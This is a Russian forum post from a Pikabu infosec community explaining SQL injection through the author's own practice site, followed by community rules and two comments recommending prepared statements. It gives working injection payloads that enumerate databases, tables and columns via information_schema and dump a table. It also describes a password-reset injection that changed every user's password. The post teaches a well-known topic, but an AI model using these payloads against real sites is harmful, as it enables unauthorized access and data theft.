Как ломать сайты криворуких программистов.

Ломать сайты можно множеством способов, но один из самых простых и эффективных, если программист достаточно криворукий это SQL-инъекции

Давайте же немного обсудим данную тему.


Для того чтобы понять что тут происходит в принципе не нужно уметь программировать, знать SQL язык. Достаточно быть не сильно идиотом.


Что из себя представляют SQL инъекции? Это некие неправомерные действия, которые не предполагались выполняться данным скриптом.


Если привести пример из реальности, то это будет нечто такое:

Мать написала отцу записку:

Купи Васе конфет

А Вася взял и дописал: " и Пива"

В итоге отец видит записку:

Купи Васе конфет и Пива

Конечно когда прочитают логи и сверят данные Вася получит ремня, но временно он взломал систему. (поэтому правило первое, старайтесь действовать так чтоб вас не спалили)



Тут я подготовил простенький интерфейс на котором можно побаловаться:

https://test.ser60v.ru/injection/

По нормальному мы можем добавить строку, либо вытащить данные по поиску данной строки, дабы каждый ещё смог оставить немного своей дури:

Как ломать сайты криворуких программистов. Sql injection, SQL, Web-программирование, Взлом, Длиннопост, Mysql, Хакеры
Как ломать сайты криворуких программистов. Sql injection, SQL, Web-программирование, Взлом, Длиннопост, Mysql, Хакеры

Попробуем в поле поиска вбить не ololo

а

ololo' -- pikabu

Вывод выдаёт то же самое, итого мы можем применять инъекции.

В коде на сервере запрос выглядит так


SELECT * FROM `example` WHERE `text`='$find'

Мы же сами закрываем кавычки и комментируем всё последующее двумя дефисами.

Профит.


Что же мы можем сделать теперь?

Например добавить свой вывод:


' AND 0>1 UNION SELECT 1,2 -- pikabu

В этом случае мы выводим 1,2, но кому это интересно?

Если уж мы получили делать возможность инъекции необходимо узнать структуру базы, дабы получить возможность формировать желаемые запросы.


Получаем список баз

' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(table_schema)), 1 FROM information_schema.columns WHERE ''='
Как ломать сайты криворуких программистов. Sql injection, SQL, Web-программирование, Взлом, Длиннопост, Mysql, Хакеры

Таким запросом мы получим список баз к которым у данного пользователя есть доступ.


Тут в принципе не нужно ничего понимать, мы выводим столько же полей, потому как знаем что у нас их 2. Но в первое выводим через запятую все базы, к которым можем получить доступ.


Отлично, мы знаем что наша база называется injection


Теперь получим список таблиц нашей базы


' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(table_name)), 1 FROM information_schema.columns WHERE table_schema='injection' and ''='
Как ломать сайты криворуких программистов. Sql injection, SQL, Web-программирование, Взлом, Длиннопост, Mysql, Хакеры

Получаем список колонок из таблицы secret

' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(column_name)), 1 FROM information_schema.columns WHERE table_schema='injection' and table_name='secret' and ''='


Их внезапно тоже 2, так что не парясь можно получить всё содержимое.


' AND 0>1 UNION SELECT * FROM secret WHERE ''='

Много воли я решил не давать вам на сервере, например нет возможности редактировать структуру базы, создавать новые таблицы, удалять строки. Иначе начнётся тотальный треш.


В сущности, сейчас найти данную уязвимость практически невозможно. Но всякое в жизни бывает...


Так например было дело, на каком-то ресурсе удалось при редактировании своего пароля установить такой пароль всем, потому как было что-то типа:

UPDATE `users` SET `password`='$password' WHERE id=$id

Ну и если мы делаем переменную $password

newPass' -- ololo

То пароль newPass ставится для всех пользователей.



Защититься от инъекций куда проще, чем их использовать, но если доступ к оным получен - это дарует много возможностей.

Если кто-то сможет сделать insert/update в таблицу secret каким-то образом - с меня пиво первому сделавшему..)

Информационная безопасность IT

1.4K постов25.5K подписчика

Добавить пост

Правила сообщества

Обязательно к прочтению для авторов:

1. Если вы добавляете пост, утверждающий об утечке данных или наличии дыр в системе, предоставьте ссылку на источники или технически подкованное расследование. Посты из разряда "Какой-то банк слил данные, потому что мне звонили мошенники" будут выноситься в общую ленту.
2. Все вопросы "Как обезопасить сервер\приложение\устройство" - в лигу "Компьютер это просто".

Обязательно к прочтению для всех:

Добавление ссылки разрешено если она не содержит описание коммерческих (платных) продуктов и/или идентификаторов для отслеживания перехода и для доступа не нужен пароль или оплата в т.ч. интернет-ресурсы, каналы (от 3-х тематических видео), блоги, группы, сообщества, СМИ и т.д.


Запрещены политические holy wars.

По решению модератора или администратора сообщества пользователь будет забанен за:

1. Флуд и оскорбление пользователя, в т.ч. провокация спора, флуда, холивара (высказывание без аргументации о конкретной применимости конкретного решения в конкретной ситуации), требование уже данного ответа, распространение сведений порочащих честь и репутацию, принижающих квалификацию оппонента, переходы на личности.

2. Публикацию поста/комментария не соответствующего тематике сообщества, в том числе обсуждение администраторов и модераторов сообщества, для этого есть специальное сообщество.

3. За обвинение в киберпреступной деятельности.

4. За нарушение прочих Правил Пикабу.

Вы смотрите срез комментариев. Показать все
12
Автор поста оценил этот комментарий

опять про тех, кто подготовленные выражения не использует? это мануал в стиле "как трахнуть в жопу того, кто застрял в заборе"

раскрыть ветку (1)
Автор поста оценил этот комментарий

Ты про pdo что ли ? Всегда его использую хоть и не часто пишу php, но знаю про всю эту муть с инъекциями

Вы смотрите срез комментариев. Чтобы написать комментарий, перейдите к общему списку